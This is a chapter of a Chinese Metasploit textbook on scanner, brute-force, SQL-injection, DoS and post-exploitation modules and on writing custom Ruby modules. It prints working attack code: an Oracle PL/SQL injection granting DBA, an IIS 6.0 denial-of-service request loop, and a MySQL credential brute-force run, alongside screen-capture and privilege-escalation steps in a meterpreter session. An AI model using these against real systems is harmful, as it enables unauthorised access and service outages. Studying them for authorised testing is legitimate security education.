本章讲解下述内容:
● 使用扫描器辅助模块;
● 使用辅助管理模块;
● SQL注入与DOS攻击模块;
● 后渗透阶段模块;
● 理解模块构建的基础;
● 分析现有模块;
● 建立自己的后渗透阶段模块。
在第1章讨论Metasploit基础时,曾介绍过其采用的是模块式体系结构,这意味着所有的漏洞利用代码、攻击载荷、编码器等都是以模块形式存在的。模块式体系结构使得扩展框架功能变得更加容易。任何程序设计人员都可以开发自己的模块,并将其导入到框架中。完全的渗透测试过程可能涉及到若干个模块的使用和运行,例如,首先利用漏洞利用模块,然后使用攻击载荷模块,攻陷目标系统后再使用后渗透阶段模块等,最后还可能需要使用一些不同的模块连接数据库并存储渗透测试过程中的各种结果等。虽然在使用 Metasploit时没有过多地讨论过模块,但模块是构成Metasploit框架的核心,因此有必要对模块进行深入理解。
本章重点关注pentest/exploits/framework3/modules目录,其中包含框架中所有有用的模块,可以简化渗透测试任务。模块的使用和前面讲过的非常相似,只是在功能方面上有一些差别。本章还将对一些现有模块进行分析,最后介绍怎样开发自己的模块。
首先使用扫描器模块。在前面章节中已介绍过使用 Nmap 进行扫描的详细过程。本节中。我们将分析一些现有的扫描器模块,这些模块都存在于Metasploit框架中。虽然Nmap是一款功能强大的扫描工具,但有些情况下仍然需要执行特定类型的扫描,例如扫描探测MySQL数据库是否存在。
Metasploit含有大量的有用扫描器,下面对部分扫描器进行尝试。
准备
要了解框架中有哪些可用的扫描器,可以浏览/pentest/exploits/framework3/modules/auxiliary/scanner目录,其中包含了35种以上有用的扫描模块,适用于各种不同的渗透测试场景。
怎样实现
首先介绍基本的 HTTP 扫描器,其中包含有很多不同的可用 HTTP 扫描选项,下面将对其中少数进行讨论。
观察 dir_scanner 脚本,该脚本用于扫描单一主机(或某个完整的网段)来寻找特定目录,以便进一步探索收集信息。
要使用该辅助模块,需要在msfconsole中执行如下步骤。
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
Module options:
使用 show options命令可列出所有可用的可选参数,这些参数可以传递给扫描器模块,其中最重要的是RHOSTS参数,通过该参数可以将目标设置为单一主机或某个网段。
怎样工作
下面讨论一个特定的扫描器模块,其中涉及一些额外的输入。mysql_login 扫描器模块属于暴力破解模块,用于探测目标机器上是否存在MySQL服务器,并通过暴力破解攻击方法尝试登录目标数据库。
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank pas..
BRUTEFORCE_SPEED 5 yes How fast to..
PASSWORD no A specific password
PASS_FILE no File containing..
RHOSTS yes The target address.
RPORT 3306 yes The target port..
STOP_ON_SUCCESS false yes Stop guessing…
THREADS 1 yes The number of..
USERNAME no A specific user..
USERPASS_FILE no File containing..
USER_FILE no File containing..
VERBOSE true yes Whether to print..
从结果可以看到,该模块包含很多可以传递的参数。模块功能发挥得越好,渗透成功率越高。对这一模块,使用者可以提供一个包含大量用户名和口令的字典文件,从而提高暴力破解目标机器数据库的成功率。
我们为该模块提供了如下信息。
msf auxiliary(mysql_login) > set USER_FILE /users.txt
USER_FILE => /users.txt
msf auxiliary(mysql_login) > set PASS_FILE /pass.txt
PASS_FILE => /pass.txt
设置用户名和口令文件,开始暴力破解。最后选择目标机器,运行run命令执行该模块。
msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(mysql_login) > run
[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username:'administrator' with password:''
上面的输出表明,该模块首先在目标机器上探测是否存在MySQL服务器,确认存在后,组合文本文件中的用户名和口令。这也是当前工作场景中主要的模块操作之一,实际上还有大量的暴力破解模块可用于对弱口令进行暴力破解。
使用Crunch生成口令
对任何方式的暴力破解而言,使用一定规模的口令文件是非常必要的。口令列表既可以在线获取,也可以使用 John The Ripper软件生成。另一种方法是,使用Backtrack中的crunch工具,以正在使用的字符集为基础生成口令列表。在/pentest/passwords/crunch目录中可以找到crunch工具,如果所使用的Backtrack版本中没有这一工具,则可以在终端窗口中使用如下命令进行安装。
root@bt: cd /pentest/passwords
root@bt:/pentest/passwords# apt-get install crunch
crunch基本语法格式如下所示。
./ crunch <min-len> <max-len> [-f /path/to/charset.lst charset- name] [-o wordlist.txt]
[-t [FIXED]@@@@] [-s startblock] [-c number]
crunch工具中部分有用参数的功能如下所示。
● min-len:字符串起点的最小长度。
● max-len:字符串终点的最大长度。
charset:定义使用的字符集。
● -b:Number[type: kb/mb/gb],指定输出文件的大小。
● -f </path/to/charset.lst> <charset-name>:允许从 charset.lst文件中指定字符集。
● -o <wordlist.txt>:定义用于保存输出的文件。
● -t <@*%^>:用于添加口令文本。
下面的URL提供了crunch工具相关的完整文档。
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/
读者可以详读该文档,理解怎样使用该工具生成复杂的口令列表。
接下来学习管理模块,在渗透测试中会用到这些模块。管理模块可以完成不同功能,例如查找管理面板、进行管理员登录等,依赖于不同模块的具体功能。下面看一个简单的mysql_enum模块。
准备
mysql_enum模块是用于MySQL数据库服务器的特殊工具模块,只要具备正确的用户名和口令,就可以使用该工具对MySQL数据库服务器进行简单的列举。通过对该模块的应用进一步了解其详细信息。
怎样实现
首先启动msfconsole,并进入该辅助模块所在路径。
msf > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the..
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to..
从结果可以看到,该模块可接受的参数包括口令、用户名和RHOST。该模块利用这些参数搜索 MySQL 数据库,之后尝试使用用户名和口令进行远程登录。下面看一下 exploit命令的输出结果。
msf auxiliary(mysql_enum) > exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
从结果可以看到,该模块包含有大量有用的响应信息,例如目标 MySQL 服务器上cmdshell和远程访问都已经激活,同时还返回了目标机器上正在使用的数据库名称。
还有一些可用于MSSQL和Apache服务的类似模块,大多数模块的工作过程都是类似的。记住使用 show options命令,以便确认为相应模块传递必需的参数。
怎样工作
辅助管理模块的工作方式是,建立到目标主机的连接,提供用户名和口令,然后进行服务枚举。此外,这些模块还可以用于检查数据库服务器是否支持匿名登录,也可以用于测试默认的用户名和口令是否有效,例如对MySQL服务器,将scott和tiger作为默认的登录凭据进行测试。
对渗透测试人员和黑客来讲,Metasploit都是友好的,因为渗透测试人员必须从黑客的角度去考虑问题,才能确保网络、服务和应用程序等方面的安全。渗透测试人员可以使用SQL注入和DOS攻击模块对自己的网络和服务进行攻击,以便确定其对这些攻击是否具有抵抗力。下面对这些模块进行详细讨论。
准备
SQL注入模块使用已知数据库类型漏洞对目标服务进行攻击渗透,并获取未授权访问。该漏洞已知影响Oracle 9i、10g等版本。Metasploit中的一些模块利用Oracle数据库的已知漏洞,通过查询注入突破Oracle数据库。这几个模块可以在modules/auxiliary/sqli/oracle目录中找到。
怎样实现
下面分析Oracle DBMS_METADATA XML漏洞,该漏洞成功利用后,可以将用户权限从 DB_USER 提升到 DB_ADMINISTRATOR (数据库管理员)。下面来看一下 dbms_metadata_get_xml模块的具体使用方法。
msf auxiliary(dbms_metadata_get_xml) > show options
Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes The password to..
DBUSER SCOTT yes The username to..
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.
该模块需要的参数和之前讲过的模块类似。传递相应参数后,该模块首先使用默认的登录凭据(scott 为默认用户名,tiger为默认口令)登录数据库服务器,以数据库用户身份登录后,该模块执行漏洞利用代码,用户权限提升为数据库管理员权限。下面展示的是针对具体目标的实际示例。
msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) > set SQL YES
msf auxiliary(dbms_metadata_get_xml) > run
成功执行该模块后,用户权限将从DB_USER提升到DB_ADMINISTRATOR。
接下来要介绍的是拒绝服务(DOS)攻击模块,该模块利用了简单的 IIS 6.0漏洞,攻击者可以发送包含 40000 个以上请求参数的 POST 请求,从而导致目标服务器崩溃。之后会简要分析该漏洞。该模块已在无补丁的Windows 2003服务器上运行了 IIS 6.0。下面的模块为ms10_065_ii6_asp_dos。
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) > show options
Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 80 yes The target port
URI /page.asp yes URI to request
VHOST no The virtual host name to..
msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf auxiliary(ms10_065_ii6_asp_dos) > run
[*] Attacking http://192.168.56.1:80/page.asp
使用 run 命令执行该模块后,可开始攻击目标 IIS 服务器,这是通过对 80 端口发送HTTP请求实现的(URI后带page.asp),成功执行该模块后,IIS服务器将拒绝服务。
怎样工作
快速浏览两个漏洞。Oracle数据库漏洞是通过注入自定义的PL/SQL函数实现的,该函数在SYS上下文中执行,成功执行后将用户权限提升为管理员权限。
观察下面的示例函数。
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/
接下来,将该函数注入到有漏洞的进程,提升用户权限。
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','')
FROM dual;
上面的代码表达了函数注入的过程,这里将省略对Oracle软件漏洞的详尽分析。
DOS攻击模块,该模块针对的是 IIS 6.0服务器中的漏洞,攻击者发送一个包含超过40000个包含请求参数的POST请求,该请求是以application/x-www-form-urlencoded编码类型的格式发送的。
下面是该攻击模块中某脚本的一部分。
while(1)
begin
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"
sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"
sploit << "Content-Length:#{length} \r\n\r\n"
sploit << payload
sock.put(sploit)
#print_status("DoS packet sent.")
disconnect
rescue Errno::ECONNRESET
next
end
end
从结果可以看到,该脚本生成了一个大小超过40000的攻击载荷,之后建立到80端口的连接,并向IIS服务器发送HTTP请求,该请求被处理后,服务器将崩溃并停止工作,只有重启后才能恢复正常。
到目前为止,我们在后渗透阶段所做的大量工作都是借助 meterpreter 的各种功能实现的,然而,metasploit还包含一些单独的模块以增强渗透测试体验,由于这些模块是后渗透阶段模块,因此使用前需要与目标机器建立活跃会话。获取对目标机器的访问权限,可使用前面章节中所讲述的任意方法。
准备
后渗透阶段模块是渗透测试阶段一些最有用和最方便的功能组合,我们将对其中一些模块进行快速分析。本节中,目标机器运行的是未打补丁的Windows 7系统,并且已经与其建立了活跃的meterpreter会话。
怎样实现
后渗透阶段模块可以在 modules/post/windows/gather 目录下找到,首先来看简单的enum_logged_on_users模块,该模块用于列出Windows机器中当前的登录用户。
在活跃的meterpreter会话中执行该模块,注意需要使用getsystem命令进行用户权限提升,以防模块执行中发生错误。
meterpreter > getsystem
...got system (via technique 4).
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502 C:\Users\DARKLORD
S-1-5-21-235 C:\Users\Winuser
成功执行该模块后可以得到两个输出表,第一个表达的是当前登录用户,第二个表达的是近期登录用户。执行模块时要确保路径的正确性。使用 run 命令执行该模块,因为模块都是Ruby脚本格式的,因而meterpreter能很容易地识别并执行。
观察下面的示例。其中的后渗透阶段模块可用于捕获目标桌面的快照,并判断当前是否存在活跃用户,模块名为screen_spy.rb。
meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of5seconds
从上述的示例中,已经可以初步领略到后渗透阶段模块的实用和简便。将来,Metasploit的开发人员将更多地关注后渗透阶段模块而不是meterpreter,因为后渗透阶段模块可以大幅增强渗透测试的功能,所以,如果读者希望对Metasploit开发有所贡献,可以在后渗透阶段模块方面进行尝试。
怎样工作
分析modules/post/windows/gather目录中的enum_logged_on_user.rb和screen_spy.rb这两个脚本,有助于深入理解这些模块是怎样运转的。
在之前的内容中已经体会到模块的应用及其增加 Metasploit 框架功能的作用,为掌握Metasploit框架,理解模块的工作和构建是重要的,这有助于我们根据需要快速地对框架进行扩展。接下来的内容中,我们将看到怎样使用 ruby 脚本构建自己的模块并将其导入到Metasploit框架。
准备
要构建自己的模块,需要具备Ruby脚本设计的基本知识。在meterpreter脚本设计章节中,我们已经对 Ruby 语言的使用和实现进行了讨论,本节中将讲述怎样使用 Ruby 为Metasploit框架构建模块,过程与meterpreter脚本设计非常类似,区别在于会使用一些预定义的代码行,这些代码行可确保模块的需求和本质被 Metasploit 框架理解和支持。首先讨论模块构建的需求。
怎样实现
Metasploit框架中的每个模块都以ruby脚本语言格式存储在modules目录中,构建自己的模块时,需要根据需要导入一些框架库。下面介绍怎样在脚本中导入库,并设计一个功能完整的模块。
怎样工作
首先了解模块构建的一些基础知识。为了保证模块能被Metasploit框架理解,必须导入MSF库。
require 'msf/core'
上面的代码是每个模块脚本中必需包含的第一行代码,其含义是该模块脚本将包含Metasploit框架中所有依赖库及其功能。
class Metasploit3 < Msf::Auxiliary
上面代码的含义是定义类,该类继承auxiliary的属性,auxiliary模块可以导入一些功能,例如扫描、打开连接、使用数据库等。
include Msf::
Include 可用于将框架中的某个特定功能导入到自己的模块中,例如,如果要构建一个扫描器模块,可以使用下面的语句。
include Msf::Exploit::Remote::TCP
上面的代码表示在模块中包含远程TCP扫描功能,并将Metasploit库中的主要扫描模块库纳入到调用范围。
def initialize
super(
'Name' => 'TCP Port Scanner',
'Version' => '$Revision$',
'Description' => 'Enumerate open TCP services',
'Author' => [ darklord ],
'License' => MSF_LICENSE
)
上面几行代码是对模块的一个简单介绍,包括模块名称、版本、作者及一些描述信息等。
register_options(
[
OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)","1-10000"]),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
deregister_options('RPORT')
上面几行代码用于对脚本中一些值进行初始化,其中标记为 true 的是模块中必需的,标记为no的则是可选的。在模块执行中,可以传递或变更这些值。
上面给出的这些代码段,是在每个模块中都会看到的。对内置的脚本进行分析是理解模块构建的最好方式,还有一些文档也有助于学习模块构建。最好的方式是,掌握Ruby脚本设计,并对现有模块进行分析。下节中,我们将对一个完整的模块进行详细分析。
基于前面介绍的模块构建的一些基础知识,接下来将对现有模块进行分析。如果需要对模块和平台开发进行深入学习挖掘,必须对现有模块脚本进行分析理解。
准备
下面对简单的ftp模块进行分析,以便对模块构建有更深刻的理解。
接着上节中讲述的内容,前面已经对模块构建的一些模板的代码行进行了介绍,下面将从模块脚本的主体部分开始介绍。
怎样实现
分析 ftp 匿名访问模块,该模块的主体脚本可在 pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb中找到。
下面是该脚本的完整代码。
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Version' => '$Revision: 14774 $',
'Description' => 'Detect anonymous (read/write) FTP server access.',
'References' =>
[
['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>', 'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
], self.class)
end
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
if res
write_check = send_cmd( ['MKD', dir] , true)
if (write_check and write_check =~ /^2/)
send_cmd( ['RMD', dir] , true)
print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})")
access_type = "rw"
else
print_status("#{target_host}:#{rport} Anonymous READ (#{banner})")
access_type = "ro"
end
report_auth_info(
:host => target_host,
:port => rport,
:sname => 'ftp',
:user => datastore['FTPUSER'],
:pass => datastore['FTPPASS'],
:type => "password_#{access_type}",
:active => true
)
end
disconnect
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError, ::IOError
end
end
end
接下来对上面的完整脚本代码进行详细分析。
怎样工作
对该模块的主体脚本进行分析,以便理解其工作原理。
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
该函数用于启动连接,其中res变量的取值为布尔值true或false,connect_login函数是该模块使用的特定函数,用于与远程主机建立连接,并根据连接的成功与否为res变量进行相应赋值。
if res
write_check = send_cmd( ['MKD', dir] , true)
if (write_check and write_check =~ /^2/)
send_cmd( ['RMD', dir] , true)
print_status("#{target_ host}:#{rport} Anonymous READ/WRITE (#{banner})")
access_type = "rw"
else
print_status("#{target_host}:#
{rport} Anonymous
access_type="ro"
连接建立后,模块对匿名用户是否具备读/写权限进行检查,write_check变量表示是否允许写入操作,之后判断操作是否成功。根据权限的状态,在屏幕上显示相应消息。如果写入操作失败,则状态显示为ro或read-only。
report_auth_info(
:host => target_host,
:port => rport,
:sname => 'ftp',
:user => datastore['FTPUSER'],
:pass => datastore['FTPPASS'],
:type => "password_#{access_type}",
:active => true
)
end
上面的函数用于报告授权信息,其中反映了一些重要的参数,例如主机、端口、用户、口令等,这些值在使用 show options命令时会展示出来,依赖于具体用户的。
上面简要介绍了一个简单的模块在框架中的工作机理,用户可以根据自身需要对现有脚本进行修改,从而使得该平台具有更强的可移植性。注意,要学习关于模块构建的更多知识,最好的方法就是对现有脚本进行分析。
下节将介绍怎样构建自己的模块并将其导入到Metasploit框架中。
前面已经对模块构建的背景知识进行了充分的讲解,现在看一下怎样构建自己的模块并将其导入到 Metasploit 框架中。构建模块可以提高很多方便,用户可以根据需要扩充Metasploit框架的功能。
怎样实现
构建一个简单的后渗透阶段模块,其功能是枚举目标机器上安装的所有应用程序。由于这是一个后渗透阶段模块,因此需要一台已攻陷的目标机器来运行该模块。
要构建自己的模块,首先需要导入一些框架库,并包含必需的一些依赖库。
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Installed Application Enumeration',
'Description' => %q{ This module will enumerate all installed applications },
'License' => MSF_LICENSE,
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
该脚本从包含Metasploit核心库开始,然后建立一个类,该类扩展了Msf::Post模块的属性。
接下来,该脚本创建了 initialize 函数,用于对模块属性进行初始化和描述。基本的结构几乎与所有模块都是一样的,这里要注意的是该脚本中包含了 rex ,也就是注册表(registry)库,这有易于框架理解该模块的需求。
下一步创建一个用于展示提取过的结果的表,可利用特殊的 Rex::Ui::Text 库完成。同时还需要定义一些不同的列。
def app_list
tbl = Rex::Ui::Text::Table.new(
'Header' => "Installed Applications", 'Indent' => 1,
'Columns' =>
[
"Name",
"Version"
])
appkeys = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
]
apps = []
appkeys.each do |keyx86|
found_keys = registry_enumkeys(keyx86)
if found_keys
found_keys.each do |ak|
apps << keyx86 +"\\" + ak
end
end
end
首先构建表并包括不同的列名称,之后创建单独的注册表位置数组,用于展示应用程序列表,该数组包含不同的注册表条目,用于存储目标机器上已安装的应用程序信息,应用程序信息是由一个名为apps的数组进行维护的。
接下来,通过对存储在appskey数组中的不同注册表位置进行loop循环来进行枚举过程。
t = []
while(not apps.empty?)
1.upto(16) do
t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k|
begin
dispnm = registry_getvaldata("#{k}","DisplayName")
dispversion = registry_getvaldata("#{k}","DisplayVersion")
tbl << [dispnm,dispversion] if dispnm and dispversion
rescue
end
end
上面的脚本代码用于将不同的具体值填充到相应列中,使用内置的 registry_getvaldata函数,该函数用于取回相应值,并对表中具体的列进行赋值填充。
results = tbl.to_s
print_line("\n" + results + "\n")
p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications")
print_status("Results stored in: #{p}")
end
def run
print_status("Enumerating applications installed on #{sysinfo['Computer']}")
app_list
end
end
上面几行代码用于将应用程序信息存储到单独的文本文件applications.txt中,该文件内容是利用store_loot函数生成的,该函数将表中的所有信息存储到文本文件中。
最后是在屏幕上展示输出信息,声明文件已经创建,并存储了结果信息。
接下来将这一完整脚本存储到相应的目录中,注意要确保选择正确的目录存储该模块,这有助于框架更清晰地理解该模块的功能,并保持框架体系有条理。更新模块时保持框架体系有条理,有助于准确地追踪和理解模块的构建目标和功能。例如,将IE相关模块保存在modules/exploits/windows/browser目录中,有助于更容易地在该目录中定位新的或现有的浏览器模块。
要确定模块的存储位置,需要根据如下几点。
● 模块的类型
● 模块执行的操作
● 影响的软件和操作系统
首先是观察模块的类型,例如是漏洞利用模块还是辅助模块。然后是检查模块的通用名,例如受影响的操作系统名称。然后是专业化的功能,例如模块是用于浏览器还是其他软件。最后是最特定性的名称,例如该模块针对的浏览器类型的具体名称。
我们要建立的模块是一个后渗透阶段模块,用于枚举Windows操作系统中的应用程序,并收集目标系统相关的信息,该模块的存储应该遵循上述的存储规范,因此该模块的存储位置是modules/post/windows/gather/。
可以将该模块保存为任意的名称,并以.rb扩展为后缀,这里将其保存为enum_applications.rb。
怎样工作
将该模块保存到相应目录后,下一步执行该模块并观察其是否正常运行。前面章节中已经介绍了模块执行的过程,在MSF终端提示符中使用模块名即可执行。
msf> use post/windows/gather/enum_applications
msf post(enum_applications) > show options
Module options (post/windows/gather/enum_applcations)
Name Current Setting Required Description
SESSION yes The session..
上面的示例展示了怎样构建自己的模块,并将自己的模块添加到Metasploit框架中。如果想更好地构建模块,需要适当的Ruby脚本设计基础,用户可以在Metasploit社区中发布自己开发的模块,以便与他人分享。